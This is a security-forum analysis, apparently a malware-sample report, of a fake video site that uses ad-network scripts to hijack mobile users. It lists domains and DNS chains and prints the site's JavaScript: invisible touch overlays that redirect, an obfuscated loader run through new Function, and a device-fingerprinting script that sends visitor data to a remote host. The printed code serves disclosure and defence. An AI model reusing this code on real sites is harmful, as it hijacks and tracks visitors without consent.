查看: 316|回复: 1
收起左侧

[已鉴定] 影视站点套娃恶意劫持 softlynotes-com 狗狗联盟 gglm-dog,火绒不报

[复制链接]
3306-1
发表于 2026-10-4 10:39:49 | 显示全部楼层 |阅读模式
来源:https://www.52pojie.cn/thread-2130706-1-1.html
发现:cos911
抄送:@火绒工程师

发现者描述
  1. 最近在网上发现了这个,他似乎利用了 301 重定向实现跳转到其他恶意网站

  2. softlynotes,就是这个网站,自称是西瓜影视

  3. 大家进去以后,如果没有恶意跳转的话

  4. 往下一划,就会跳转(卡饭备注:实际是指定设备下,恶意脚本绘制的点触区域内才可以)

  5. 用 360 浏览器访问,竟然没有识别出来风险,就显示未知,大家有兴趣的可以分析一下它
复制代码

影视外壳
域 名 softlynotes[.]com
注册商 Gname.com Pte. Ltd.
注册人
邮 箱
地 区 中国香港(HK,CN)
注册日 2025-10-11 02:08:59 UTC+8
过期日 2027-10-11 02:08:59 UTC+8
更新日 2026-09-24 23:33:20 UTC+8
IANA_ID 1923
状 态 客户端禁止转移
DNS  a8[.]share-dns[.]com
    b8[.]share-dns[.]net
DNSSEC 未配置

跳转参考
域 名 smun7ro[.]com
注册商 GoDaddy.com, LLC
注册人
邮 箱
注册日 2026-09-23 15:25:33 UTC+8
过期日 2027-09-23 15:25:33 UTC+8
更新日 2026-09-23 15:33:45 UTC+8
IANA_ID 146
状 态 客户端禁止删除
    客户端禁止续费
    客户端禁止转移
    客户端禁止更新
DNS  noah[.]ns.cloudflare[.]com
    sky[.]ns.cloudflare[.]com
DNSSEC 未配置

解析指向
域 名 aliyunddos1006[.]com
注册商 Alibaba Cloud Computing (Beijing) Co., Ltd.
注册人 浙江阿里巴巴云计算有限公司
邮 箱
省/州 浙江
地 区 中国(CN)
许可号 浙ICP备12022327号
通过日 2020-04-14
注册日 2019-08-15 15:48:06 UTC+8
过期日 2027-08-15 15:48:06 UTC+8
更新日 2026-06-22 17:14:59 UTC+8
IANA_ID 420
状 态 正常
DNS  vip5[.]alidns[.]com
    vip6[.]alidns[.]com
DNSSEC 未配置

违法内容
域 名 hm0425t[.]vip
注册商 Dynadot Inc
注册人
邮 箱
注册日 2026-09-28 18:13:21 UTC+8
过期日 2027-09-28 18:13:21 UTC+8
更新日 2026-10-03 18:13:24 UTC+8
IANA_ID 472
状 态 客户端禁止转移
    注册局禁止转移
    禁止转移
DNS  lorna[.]ns.cloudflare[.]com
    ajay[.]ns.cloudflare[.]com
DNSSEC 未配置

解析指向
域 名 fastcdn[.]vip
注册商 NameSilo, LLC
注册人
邮 箱
注册日 2022-11-08 15:32:23 UTC+8
过期日 2026-11-08 15:32:23 UTC+8
更新日 2026-04-17 18:42:49 UTC+8
IANA_ID 1479
状 态 客户端禁止转移
DNS  ult01[.]dnspod[.]com
    ult02[.]dnspod[.]com
DNSSEC 未配置

所谓联盟
域 名 gglm[.]dog
注册商 GoDaddy.com, LLC
注册人
邮 箱
注册日 2024-06-21 16:46:29 UTC+8
过期日 2028-06-21 16:46:29 UTC+8
更新日 2026-08-12 19:07:41 UTC+8
IANA_ID 146
状 态 客户端禁止删除
    客户端禁止续费
    客户端禁止转移
    客户端禁止更新
DNS        alice[.]ns.cloudflare[.]com
    henrik[.]ns.cloudflare[.]com
DNSSEC 未配置

订阅规则
  1. 区域语言
  2.   中国区域:AdGuard Chinese
复制代码
规则头部
  1. ![Adblock Plus 2.0]
  2. ! Checksum: h4ordYzuKJ4EhWNH8n2gJQ
  3. ! Diff-Path: ../patches/224/224-s-1790867395-3600.patch
  4. ! Title: AdGuard Chinese filter
  5. ! Description: EasyList China + AdGuard Chinese filter. Filter list that specifically removes ads on websites in Chinese language.
  6. ! Version: 2.1.66.43
  7. ! TimeUpdated: 2026-10-01T15:06:34+00:00
  8. ! Expires: 5 days (update frequency)
  9. ! Homepage: https://github.com/AdguardTeam/AdGuardFilters
  10. ! License: https://github.com/AdguardTeam/AdguardFilters/blob/master/LICENSE
  11. !
  12. !---------------------------------------------------------------------------!
  13. !-------------- Advertising networks ---------------------------------------!
  14. !---------------------------------------------------------------------------!
  15. !
  16. ! This section contains the list of third-party advertising networks domains.
  17. ! Note, that we only put rules that block full domains here and not URL parts (there's `general_url.txt` for that). Also, it must be domains that are used in a third-party context.
  18. !
  19. ! Good: ||doubleclick.net^$third-party
  20. ! Bad: /banner.jpg (should be in general_url.txt)
  21. ! Bad: ||adssubdomain.legitwebsite.com^ (should be in adservers_firstparty.txt)
  22. !
复制代码
广告过滤
  1. 4456行
  2. :800*/sc/*n=$script,3p
复制代码


解析参考
  1. {
  2.   "tool": "dns",
  3.   "query": "www[.]softlynotes[.]com",
  4.   "queryType": "ALL",
  5.   "server": "172[.]64[.]53[.]25",
  6.   "serverHost": "a8[.]share-dns[.]com",
  7.   "serverType": "authoritative",
  8.   "transport": "tcp",
  9.   "recursive": false,
  10.   "dnssec": false,
  11.   "subdomains": true,
  12.   "requestId": "3af1b514-a1e3-407a-b666-c4f6f904bf52",
  13.   "timestamp": "2026-10-03T21:25:48.410Z",
  14.   "elapsed": 569,
  15.   "results": [
  16.     {
  17.       "type": "A",
  18.       "name": "www[.]softlynotes[.]com",
  19.       "ttl": 600,
  20.       "address": "103[.]119[.]0[.]68"
  21.     }
  22.   ]
  23. }
复制代码
  1. {
  2.   "tool": "dns",
  3.   "query": "47817g[.]smun7ro[.]com",
  4.   "queryType": "ALL",
  5.   "server": "108[.]162[.]193[.]133",
  6.   "serverHost": "noah[.]ns.cloudflare[.]com",
  7.   "serverType": "authoritative",
  8.   "transport": "tcp",
  9.   "recursive": false,
  10.   "dnssec": false,
  11.   "subdomains": true,
  12.   "requestId": "2dc0b00f-f93d-436f-9b97-fdad27455765",
  13.   "timestamp": "2026-10-03T23:45:47.950Z",
  14.   "elapsed": 131,
  15.   "results": [
  16.     {
  17.       "type": "CNAME",
  18.       "name": "47817g[.]smun7ro[.]com",
  19.       "ttl": 600,
  20.       "value": "3u8522h624rv2m59[.]aliyunddos1006[.]com"
  21.     }
  22.   ]
  23. }
复制代码
  1. {
  2.   "tool": "dns",
  3.   "query": "3u8522h624rv2m59[.]aliyunddos1006[.]com",
  4.   "queryType": "ALL",
  5.   "server": "8[.]129[.]152[.]247",
  6.   "serverHost": "vip5[.]alidns[.]com",
  7.   "serverType": "authoritative",
  8.   "transport": "tcp",
  9.   "recursive": false,
  10.   "dnssec": false,
  11.   "subdomains": true,
  12.   "requestId": "875340b8-dfb4-4855-af84-d2a18490f36e",
  13.   "timestamp": "2026-10-03T23:47:39.562Z",
  14.   "elapsed": 445,
  15.   "results": [
  16.     {
  17.       "type": "A",
  18.       "name": "3u8522h624rv2m59[.]aliyunddos1006[.]com",
  19.       "ttl": 60,
  20.       "address": "203[.]107[.]62[.]233"
  21.     }
  22.   ]
  23. }
复制代码
  1. {
  2.   "tool": "dns",
  3.   "query": "www[.]hm0425t[.]vip",
  4.   "queryType": "ALL",
  5.   "server": "108[.]162[.]193[.]56",
  6.   "serverHost": "ajay[.]ns.cloudflare[.]com",
  7.   "serverType": "authoritative",
  8.   "transport": "tcp",
  9.   "recursive": false,
  10.   "dnssec": false,
  11.   "subdomains": true,
  12.   "requestId": "e7ea407b-a3fd-48cf-8aeb-32d6d2bb4794",
  13.   "timestamp": "2026-10-04T01:33:01.257Z",
  14.   "elapsed": 90,
  15.   "results": [
  16.     {
  17.       "type": "CNAME",
  18.       "name": "www[.]hm0425t[.]vip",
  19.       "ttl": 300,
  20.       "value": "mtggtg[.]fastcdn[.]vip"
  21.     }
  22.   ]
  23. }
复制代码
  1. {
  2.   "tool": "dns",
  3.   "query": "mtggtg[.]fastcdn[.]vip",
  4.   "queryType": "ALL",
  5.   "server": "1[.]12[.]0[.]64",
  6.   "serverHost": "ult01[.]dnspod[.]com",
  7.   "serverType": "authoritative",
  8.   "transport": "tcp",
  9.   "recursive": false,
  10.   "dnssec": false,
  11.   "subdomains": true,
  12.   "requestId": "5398d172-c894-4fb6-babf-d5d50531b757",
  13.   "timestamp": "2026-10-04T01:36:24.633Z",
  14.   "elapsed": 402,
  15.   "results": [
  16.     {
  17.       "type": "A",
  18.       "name": "mtggtg[.]fastcdn[.]vip",
  19.       "ttl": 600,
  20.       "address": "38[.]11[.]105[.]32"
  21.     },
  22. ..... 共 8 条 A 指向,此处省略
  23.     {
  24.       "type": "NSEC",
  25.       "name": "mtggtg.fastcdn.vip",
  26.       "ttl": 180,
  27.       "next_domain": ".mtggtg[.]fastcdn[.]vip",
  28.       "rr_types": [
  29.         "A",
  30.         "MX",
  31.         "TXT",
  32.         "AAAA",
  33.         "SRV",
  34.         "RRSIG",
  35.         "NSEC",
  36.         "UNKNOWN_64",
  37.         "UNKNOWN_65",
  38.         "CAA"
  39.       ]
  40.     }
  41.   ]
  42. }
复制代码


具体脚本
  1. 1306行
  2. <!--foot-->

  3. <script>
  4. (function () {
  5.   function rd(e) {
  6.     var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefhijklmnopqrstuvwxyz",
  7.       a = t.length,
  8.       n = "";
  9.     for (i = 0; i < e; i++) n += t.charAt(Math.floor(Math.random() * a));
  10.     return n;
  11.   }
  12.   function sf(array) {
  13.     return new URLSearchParams(
  14.       Object.entries(array).sort(() => Math.random() - 0.5),
  15.     ).toString();
  16.   }
  17.   if (!/^Mac|Win/.test(navigator.platform)) {
  18.     var i = 0;
  19.     for (var n = 0; n < 4; n++) {
  20.       for (var j = 0; j < 10; j++) {
  21.         var style =
  22.           "position:fixed; bottom:" +
  23.           7.96875 * n +
  24.           "vw; left:" +
  25.           j * 10 +
  26.           "vw; z-index:10;display:block;width:9.6vw;height:7.96875vw;background: #000;opacity:0.01;";
  27.         document.write('<div class="jouclpgl_b" style="' + style + '"></div>');
  28.         var a = document.getElementsByClassName("jouclpgl_b");
  29.         a[i].addEventListener("touchend", function () {
  30.           var jouclpgl_n =
  31.             "https://" +
  32.             rd(3) +
  33.             "7817gc[.]mehqk5u[.]com" +
  34.             ":8005/cc/7817?" +
  35.             rd(3) +
  36.             "=" +
  37.             rd(3) +
  38.             "&" +
  39.             sf({ is_not: 1, target: 1, ty: 2 });
  40.           if (typeof _paramet_ !== "undefined") {
  41.             jouclpgl_n += "&" + _paramet_;
  42.           }
  43.           if (top.location != self.location) {
  44.             top.location = jouclpgl_n;
  45.           } else {
  46.             window.location.href = jouclpgl_n;
  47.           }
  48.         });
  49.         i++;
  50.       }
  51.     }
  52.   }
  53. })();
  54. </script>

  55. <script>
  56. !(function () {
  57.   function a(a) {
  58.     var b = {
  59.       e: "P",
  60.       w: "D",
  61.       T: "y",
  62. .....
  63.     };
  64.     return a
  65.       .split("")
  66.       .map(function (a) {
  67.         return void 0 !== b[a] ? b[a] : a;
  68.       })
  69.       .join("");
  70.   }
  71.   var b = a(
  72.     `AMtUaZDKBQl7_2(.....`.substr(
  73.       10,
  74.     ),
  75.   );
  76.   new Function(b)();
  77. })();
  78. </script>

  79. </body>
  80. </html>
复制代码
手机判断
  1. if(!/^Mac|Win/.test(navigator.platform)){ ... }
复制代码
循环创建
  1. position:fixed;
  2. bottom: ...;
  3. left: ...;
  4. width:9.6vw;
  5. height:7.96875vw;
  6. background:#000;
  7. opacity:0.01;
  8. z-index:10;
复制代码
点触绑定
  1. a[i].addEventListener("touchend", function(){
  2.   var jouclpgl_n =
  3.     "https://" + rd(3) + "7817gc[.]mehqk5u[.]com" + ":8005/cc/7817?" +
  4.     rd(3) + "=" + rd(3) + "&" +
  5.     sf({is_not:1, target:1, ty:2});

  6.   if(typeof _paramet_ !== "undefined"){
  7.     jouclpgl_n += "&" + _paramet_;
  8.   }

  9.   if(top.location != self.location){
  10.     top.location = jouclpgl_n;
  11.   }else{
  12.     window.location.href = jouclpgl_n;
  13.   }
  14. });
复制代码
字符替换
  1. !function(){
  2.   function a(a){
  3.     var b = { ...大量字符映射... };
  4.     return a.split("").map(function(a){
  5.       return void 0 !== b[a] ? b[a] : a
  6.     }).join("")
  7.   }

  8.   var b = a(`...超长混淆字符串...`).substr(10);

  9.   new Function(b)()
  10. }();
复制代码
跳转定义
  1. https://<随机3个字母>7817gc[.]mehqk5u[.]com:8005/cc/7817?<随机3字母>=<随机3字母>&is_not=1&target=1&ty=2
复制代码
执行跳转
  1. https://47817g[.]smun7ro[.]com:8005/sc/7817?n=jouclpgl
复制代码
脚本参考
  1. function gougouEvent(e, t) {
  2.   (window.addEventListener("touchstart", function () {
  3.     var n = (event || window.event).touches[0].clientY;
  4.     if ("1" == t.position) {
  5.       if (n < t.height)
  6.         try {
  7.           ((t.type = "good"), e.open(t));
  8.         } catch (t) {
  9.           e.catch(t);
  10.         }
  11.       else if (n < t.height + t.hiheight)
  12.         try {
  13.           e.gtop() >= 10 && ((t.type = "hidden"), e.open(t));
  14.         } catch (t) {
  15.           e.catch(t);
  16.         }
  17.     } else {
  18.       var o = window.innerHeight;
  19.       if (o - n < t.height)
  20.         try {
  21.           ((t.type = "good"), e.open(t));
  22.         } catch (t) {
  23.           e.catch(t);
  24.         }
  25.       else if (o - n < t.height + t.hiheight)
  26.         try {
  27.           ((t.type = "hidden"), e.open(t));
  28.         } catch (t) {
  29.           e.catch(t);
  30.         }
  31.     }
  32.   }),
  33.     window.addEventListener("touchend", function () {
  34.       var n = (event || window.event).changedTouches[0].clientY;
  35.       if ("1" == t.position) {
  36.         if (n < t.height)
  37.           try {
  38.             ((t.type = "good"), e.open(t));
  39.           } catch (t) {
  40.             e.catch(t);
  41.           }
  42.       } else {
  43.         var o = window.innerHeight;
  44.         if (o > 0 && n > 0 && o - n < t.height)
  45.           try {
  46.             ((t.type = "good"), e.open(t));
  47.           } catch (t) {
  48.             e.catch(t);
  49.           }
  50.       }
  51.     }));
  52. }

  53. /*! // javascript-obfuscator:disable */ !(function () {
  54.   var e = Math.random()
  55.     .toString(36)
  56.     .substr(Math.floor(6 * Math.random() + 2));
  57.   if (null == window[e]) {
  58.     var t = (window[e] = {}),
  59.       n = 0,
  60.       o = 0,
  61.       r = 0;
  62.     if (
  63.       ((t.$ = function (e) {
  64.         return "." == e.substr(0, 1)
  65.           ? document.getElementsByClassName(e.substr(1))
  66.           : "#" == e.substr(0, 1)
  67.             ? document.getElementById(e.substr(1))
  68.             : document.getElementsByTagName(e);
  69.       }),
  70.       (t.rc = function (e) {
  71.         var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefhijklmnopqrstuvwxyz",
  72.           n = "";
  73.         for (i = 0; i < e; i++) n += t.charAt(Math.floor(51 * Math.random()));
  74.         return n;
  75.       }),
  76.       (t.gCook = function (e) {
  77.         var t,
  78.           n = new RegExp("(^| )gg_" + e + "=([^;]*)(;|$)");
  79.         return (t = document.cookie.match(n)) ? unescape(t[2]) : null;
  80.       }),
  81.       (t.sCook = function (e, t, n) {
  82.         var o = new Date();
  83.         (o.setTime(o.getTime() + 1e3 * n),
  84.           (document.cookie =
  85.             "gg_" + e + "=" + escape(t) + ";expires=" + o.toGMTString()));
  86.       }),
  87.       (t.isCook = function () {
  88.         return (t.sCook("iscookie", "1"), "1" == t.gCook("iscookie"));
  89.       }),
  90.       (t.gtop = function () {
  91.         return document.documentElement.scrollTop || document.body.scrollTop;
  92.       }),
  93.       (t.CScr = function (e) {
  94.         var t = document.createElement("script");
  95.         t.src = e;
  96.         var n = document.getElementsByTagName("script")[0];
  97.         n.parentNode.insertBefore(t, n);
  98.       }),
  99.       (t.cLab = function (e) {
  100.         return document.createElement(e);
  101.       }),
  102.       (t.open = function (e) {
  103.         if (t.gCook("is_open")) return !1;
  104.         t.sCook("is_open", "1", 2);
  105.         var i = event || window.event,
  106.           a = (cy = 0);
  107.         (i &&
  108.           "touchstart" == i.type &&
  109.           ((a = i.touches[0].clientX), (cy = i.touches[0].clientY)),
  110.           i &&
  111.             "touchend" == i.type &&
  112.             ((a = i.changedTouches[0].clientX),
  113.             (cy = i.changedTouches[0].clientY)),
  114.           i && "click" == i.type && ((a = i.clientX), (cy = i.clientY)));
  115.         var c = 1;
  116.         if (t.isCook() && (s = t.gCook("is_repeat_ip_" + e.id)))
  117.           (new Array(), (c = s.split(":").length));
  118.         var s;
  119.         c = 1;
  120.         if (t.isCook() && (s = t.gCook("is_repeat_ip_" + e.id)))
  121.           (new Array(), (c = s.split(":").length));
  122.         e.open_n += 1;
  123.         const d = {
  124.           is_not: e.is_not,
  125.           interval: parseInt((new Date().getTime() - e.time) / 1e3),
  126.           refso:
  127.             (window.DeviceOrientationEvent ? 1 : 0) +
  128.             "_" +
  129.             navigator.platform +
  130.             "_" +
  131.             n +
  132.             "_" +
  133.             o +
  134.             "_" +
  135.             r +
  136.             "_" +
  137.             parseInt(localStorage.getItem("xx_channel_id")),
  138.           url: encodeURIComponent(t.de(document.URL.substr(0, 100))),
  139.           source: encodeURIComponent(t.de(document.referrer.substr(0, 100))),
  140.           screen: window.screen.width + "*" + window.screen.height,
  141.           ifrom: self != top ? 1 : 0,
  142.           history: history.length,
  143.           ipnumber: c,
  144.           clickp: parseInt(a) + "*" + parseInt(cy),
  145.           ctype: e.type,
  146.           open_n: e.open_n,
  147.           xx_webid: localStorage.getItem("xx_webid"),
  148.           web_id: localStorage.getItem("web_id"),
  149.           jstime: parseInt(new Date().getTime() / 1e3),
  150.           t: Math.random(),
  151.         };
  152.         "0" == e.is_not && (d.se = e.string);
  153.         const h = new URLSearchParams(
  154.           Object.entries(d).sort(() => Math.random() - 0.5),
  155.         ).toString();
  156.         ((e.purl += "/cc/" + e.id + "?" + t.rc(3) + "=" + t.rc(3) + "&" + h),
  157.           (e.opentime = parseInt(Date.now())),
  158.           top.location != self.location
  159.             ? (top.location = e.purl + "&target=1")
  160.             : ((window.location.href = e.purl + "&target=1"),
  161.               (e.user_agent.indexOf("quark") >= 0 ||
  162.                 e.user_agent.indexOf("ucbrowser") >= 0 ||
  163.                 e.user_agent.indexOf("mqqbrowser") >= 0) &&
  164.                 t.CScr(e.purl + "&target=0")),
  165.           setTimeout(function () {
  166.             parseInt(Date.now() - 2e3 - parseInt(e.read_time)) < e.opentime &&
  167.               t.CScr(e.purl + "&target=0&is_qie=1");
  168.           }, 2e3));
  169.       }),
  170.       (t.cSty = function (e) {
  171.         t.$("#" + m) && t.$("#" + m).remove();
  172.         var n = e.style;
  173.         ((n += "body{margin: 0px;}"),
  174.           (n +=
  175.             "#" +
  176.             c +
  177.             " ~ ." +
  178.             g +
  179.             "{display: block; width: 10%; position: fixed; z-index: 2147483646;}"),
  180.           (n += "#" + c + " ~ " + p + "{background: #eadf7d; color: #fffcfc;}"),
  181.           (n +=
  182.             "#" +
  183.             c +
  184.             " ~ " +
  185.             p +
  186.             ":before{content: '';transform: rotate(45deg);-webkit-transform: rotate(45deg);display: block;width: 17px;height: 1px;background: #ddd;margin-top: 8px;}"),
  187.           (n +=
  188.             "#" +
  189.             c +
  190.             " ~ " +
  191.             p +
  192.             ":after{content: ''; transform:rotate(-45deg); -webkit-transform:rotate(-45deg);display: block;width: 17px;height: 1px;background: #ddd;margin-top: -1px;}"));
  193.         var o = document.createElement("style");
  194.         if (
  195.           ((o.innerHTML = n),
  196.           (o.id = m),
  197.           document.head.appendChild(o),
  198.           !t.$("#" + c))
  199.         ) {
  200.           var i = document.createElement("div");
  201.           ((i.id = c), document.body.appendChild(i));
  202.         }
  203.         t.gImg(e);
  204.       }),
  205.       (t.gImg = function (e) {
  206.         if (e.matter) {
  207.           let n = new XMLHttpRequest();
  208.           ((n.onreadystatechange = function () {
  209.             if (4 === n.readyState && (200 == n.status || 304 == n.status)) {
  210.               var e = n.responseText;
  211.               if (e) {
  212.                 t.$("#" + u) && t.$("#" + u).remove();
  213.                 var o =
  214.                     "#" +
  215.                     c +
  216.                     " ~ ." +
  217.                     g +
  218.                     "{background-image: url(data:image/png;base64," +
  219.                     e +
  220.                     ") !important;}",
  221.                   i = document.createElement("style");
  222.                 ((i.innerHTML = o), (i.id = u), document.head.appendChild(i));
  223.               }
  224.             }
  225.           }),
  226.             n.open("GET", e.murl + "/" + e.matter, !0),
  227.             n.send());
  228.         }
  229.         ("click" != e.evetype && gougouEvent(t, e), t.img(e));
  230.       }),
  231.       (t.img = function (e) {
  232.         for (var n = e.height / 4, o = e.width / 10, i = 0; i < 4; i++)
  233.           for (var r = 0; r < 10; r++) {
  234.             if (
  235.               (t.$("#" + g + "_" + i + "_" + r) &&
  236.                 t.$("#" + g + "_" + i + "_" + r).remove(),
  237.               "1" == e.position)
  238.             )
  239.               var a =
  240.                 "height:" +
  241.                 n +
  242.                 "px; top:" +
  243.                 (i * n + e.reserve_height) +
  244.                 "px; left:" +
  245.                 r * o +
  246.                 "px; background-position: -" +
  247.                 r * o +
  248.                 "px -" +
  249.                 i * n +
  250.                 "px; background-size: " +
  251.                 e.width +
  252.                 "px " +
  253.                 e.height +
  254.                 "px !important;";
  255.             else
  256.               a =
  257.                 "height: " +
  258.                 n +
  259.                 "px; bottom:" +
  260.                 ((3 - i) * n + e.reserve_height) +
  261.                 "px; left:" +
  262.                 r * o +
  263.                 "px; background-position: -" +
  264.                 r * o +
  265.                 "px -" +
  266.                 i * n +
  267.                 "px; background-size: " +
  268.                 e.width +
  269.                 "px " +
  270.                 e.height +
  271.                 "px !important;";
  272.             var s = t.cLab("div");
  273.             ((s.className = g),
  274.               (s.id = g + "_" + i + "_" + r),
  275.               (s.style = a),
  276.               s.addEventListener(e.evetype, function () {
  277.                 try {
  278.                   ((e.type = "good"), t.open(e));
  279.                 } catch (e) {
  280.                   t.catch(e);
  281.                 }
  282.               }),
  283.               t.$("#" + c).parentNode.appendChild(s));
  284.           }
  285.         "0" == e.is_not &&
  286.           setTimeout(function () {
  287.             t.img(e);
  288.           }, 2e3);
  289.       }),
  290.       (t.ac = function (e, n = "add") {
  291.         for (var o = 1; o <= 10; o++)
  292.           t.$("#" + h + "_" + o) && t.$("#" + h + "_" + o).remove();
  293.         if (
  294.           "add" == n &&
  295.           "1" == e.hid_state &&
  296.           e.hid_pvnum_show <= e.show_number
  297.         ) {
  298.           for (o = 1; o <= 10; o++) {
  299.             var i = t.cLab("div");
  300.             ((i.style =
  301.               "display:block;position:fixed;width:10%;left:" +
  302.               10 * (o - 1) +
  303.               "vw;border:none;z-index:2147483646;"),
  304.               (i.id = h + "_" + o),
  305.               "1" == e.position
  306.                 ? (t.gtop() >= 30
  307.                     ? (i.style.height = e.hiheight + "px")
  308.                     : (i.style.height = "10px"),
  309.                   (i.style.top = e.height + e.reserve_height + "px"))
  310.                 : ((i.style.height = e.hiheight + "px"),
  311.                   (i.style.bottom = e.height + e.reserve_height + "px")),
  312.               i.addEventListener(e.evetype, function () {
  313.                 try {
  314.                   ((e.hid_c_number += 1),
  315.                     e.hid_c_number >= e.hid_click_num &&
  316.                       ((e.hid_state = 0), t.ac(e, "del")),
  317.                     (e.type = "hidden"),
  318.                     t.open(e));
  319.                 } catch (e) {
  320.                   t.catch(e);
  321.                 }
  322.               }),
  323.               document.body.insertAdjacentElement("afterend", i));
  324.           }
  325.           "0" == e.is_not &&
  326.             setTimeout(function () {
  327.               t.ac(e);
  328.             }, 2e3);
  329.         }
  330.       }),
  331.       (t.qd = function (e, n = "add") {
  332.         if (!t.isCook()) return !1;
  333.         t.$(d)[0] && t.$(d)[0].remove();
  334.         var o = t.gCook("is_com" + e.id);
  335.         if (
  336.           "add" == n &&
  337.           "1" == e.com_state &&
  338.           !o &&
  339.           e.com_pvnum_show <= e.show_number
  340.         ) {
  341.           var i = t.cLab(d);
  342.           ((i.style = t.de(
  343.             "f6LJqdTg )qO(S! 4*62fYRg @}o1o{sKoK! D6fFhg }00b! JOL6F6O2g 76RYf! hY6phFg}00b! )OFFO^g 0JR! qY7Fg 0JR!",
  344.           )),
  345.             t.$("#" + c).parentNode.appendChild(i),
  346.             t.$(d)[0].addEventListener(e.evetype, function () {
  347.               try {
  348.                 ((e.com_c_number += 1),
  349.                   e.com_c_number >= e.com_click_num &&
  350.                     ((e.com_state = 0), t.qd(e, "del")),
  351.                   t.sCook("is_com" + e.id, "1", parseInt(e.com_defer)),
  352.                   (e.type = "compel_click"),
  353.                   t.open(e));
  354.               } catch (e) {
  355.                 t.catch(e);
  356.               }
  357.             }),
  358.             setTimeout(function () {
  359.               t.qd(e);
  360.             }, 1e3));
  361.         }
  362.       }),
  363.       (t.gb = function (e) {
  364.         if (e.false_clo > 1) {
  365.           t.$(p)[0] && t.$(p)[0].remove();
  366.           var n = t.de(
  367.               "f6LJqdTg )qO(S!4*62fYRg @}o1o{sKoK! D6fFhg }1JR! JOL6F6O2g 76RYf! hY6phFg }1JR! qY7Fg }JR!",
  368.             ),
  369.             o = t.cLab(p);
  370.           ("1" == e.position
  371.             ? (o.style = n + "top:" + (e.height + e.reserve_height) + "px;")
  372.             : (o.style = n + "bottom:" + (e.height + e.reserve_height) + "px;"),
  373.             t.$("#" + c).parentNode.appendChild(o),
  374.             t.$(p)[0].addEventListener(e.evetype, function () {
  375.               try {
  376.                 (t.hide(),
  377.                   e.false_clo >= parseInt(100 * Math.random()) &&
  378.                     ((e.type = "close"), t.open(e)));
  379.               } catch (e) {
  380.                 t.catch(e);
  381.               }
  382.             }));
  383.         }
  384.       }),
  385.       (t.hide = function (e) {}),
  386.       (t.db = function (e) {
  387.         if ("1" != e.is_jiexi) {
  388.           t.$(s)[0] && t.$(s)[0].remove();
  389.           var n = t.cLab(s);
  390.           ((n.style =
  391.             "display: block;  width: 100%; height:" + e.height + "px;"),
  392.             "1" == e.position
  393.               ? document.body.insertBefore(n, document.body.childNodes[0])
  394.               : document.body.appendChild(n));
  395.         }
  396.       }),
  397.       (t.skip = function (e) {
  398.         setTimeout(function () {
  399.           t.isCook() &&
  400.             e.compel_skip > parseInt(100 * Math.random()) &&
  401.             (t.gCook("is_skip") ||
  402.               (t.sCook("is_skip", "1", 10), (e.type = "skip"), t.open(e)));
  403.         }, 1e3 * e.compel_skip_delay);
  404.       }),
  405.       (t.de = function (e) {
  406.         for (
  407.           var t = {
  408.               e: "P",
  409.               w: "D",
  410.               T: "y",
  411. .....
  412.             },
  413.             n = "",
  414.             o = "",
  415.             i = 0;
  416.           i < e.length;
  417.           i++
  418.         )
  419.           o += t[(n = e[i])] ? t[n] : n;
  420.         return o;
  421.       }),
  422.       (t.yb = function (e) {
  423.         window.DeviceMotionEvent &&
  424.           window.addEventListener(
  425.             "devicemotion",
  426.             function (e) {
  427.               var t = e.accelerationIncludingGravity;
  428.               ((n = parseInt(100 * t.x) / 100),
  429.                 (o = parseInt(100 * t.y) / 100),
  430.                 (r = parseInt(100 * t.z) / 100));
  431.             },
  432.             !1,
  433.           );
  434.       }),
  435.       (t.catch = function (e) {
  436.         encodeURI(e.name + ": " + e.message);
  437.       }),
  438.       (t.IsPC = function () {
  439.         return (
  440.           !(navigator.userAgent.indexOf("uiuiui") >= 0) &&
  441.           !!/^Win|Mac/.test(navigator.platform)
  442.         );
  443.       }),
  444.       (t.init = function (e) {
  445.         (t.IsPC() ||
  446.           (t.yb(e), t.cSty(e), t.ac(e), t.gb(e), t.qd(e), t.skip(e), t.db(e)),
  447.           e.statis_code && t.CScr(e.statis_code),
  448.           /^Win|Mac/.test(navigator.platform) ||
  449.             (e.tongji_js && t.CScr(e.tongji_js)));
  450.       }),
  451.       t.IsPC())
  452.     )
  453.       console.log("热烈欢迎站长加入 狗狗联盟 www[.]gglm[.]dog");
  454.     else {
  455.       try {
  456.         var a = Math.floor(5 * Math.random()) + 3,
  457.           c = t.rc(a) + "p",
  458.           s = t.rc(a) + "m",
  459.           d = t.rc(a) + "q",
  460.           h = t.rc(a) + "h",
  461.           p = t.rc(a) + "c",
  462.           g = t.rc(a) + "i",
  463.           u = t.rc(10),
  464.           m = t.rc(10),
  465.           l =
  466.             (window.innerHeight,
  467.             JSON.parse(
  468.               t.de(
  469.                 '["6LM2OF"g"}"="6f"g1{}1="L64Y"g"}"="5YLY5XYMhY6phF"g0="JOL6F6O2M6f"g}}="JOL6F6O2"g"@"="7dqLYM(qO"g0="h6fMhY6phF"g"}00"="YXYFTJY"g"FO_(hLFd5F"="J_5q"g"hFFJLg\\/\\/0o0{p(mJ}ShFfdm(O^g{00n"="J_5q@"g"hFFJLg\\/\\/0o0{p(mJ}ShFfdm(O^g{00n"="^_5q"g"hFFJLg\\/\\/6^ppm(O6Y7npm(O^"P',
  470.               ),
  471.             ));
  472.         navigator.userAgent.match(
  473.           /(googlebot|baiduspider|360spider|sogou\ web\ spider|sosospider|bingbot)/i,
  474.         ) ||
  475.           (document.body || document.head.after(document.createElement("body")),
  476.           (l.width = window.innerWidth),
  477.           parseInt(window.screen.height) / parseInt(window.screen.width) > 1.7
  478.             ? ((l.height = parseInt(
  479.                 (l.width / 640) * (124 + 40 * (3 - l.size)),
  480.               )),
  481.               (l.hiheight = parseInt((l.width / 640) * l.hid_height)))
  482.             : ((l.height = 120), (l.hiheight = 0)),
  483.           (l.user_agent = navigator.userAgent.toLowerCase()),
  484.           (l.time = new Date().getTime()),
  485.           (l.open_n = 0),
  486.           (l.hid_c_number = 0),
  487.           (l.com_c_number = 0),
  488.           (l.show_number = 1),
  489.           t.yb(l),
  490.           t.cSty(l),
  491.           t.img(l),
  492.           t.ac(l),
  493.           t.gb(l),
  494.           t.db(l));
  495.       } catch (e) {
  496.         t.catch(e);
  497.       }
  498.       var f = new XMLHttpRequest();
  499.       (f.open("GET", l.purl + "/d/" + l.id + "?t=" + Math.random(), !0),
  500.         f.setRequestHeader("Content-type", "application/x-www-form-urlencoded"),
  501.         f.send(),
  502.         (f.onreadystatechange = function () {
  503.           try {
  504.             if (4 == f.readyState && 200 == f.status) {
  505.               var e = JSON.parse(f.responseText),
  506.                 n = JSON.parse(t.de(e.key));
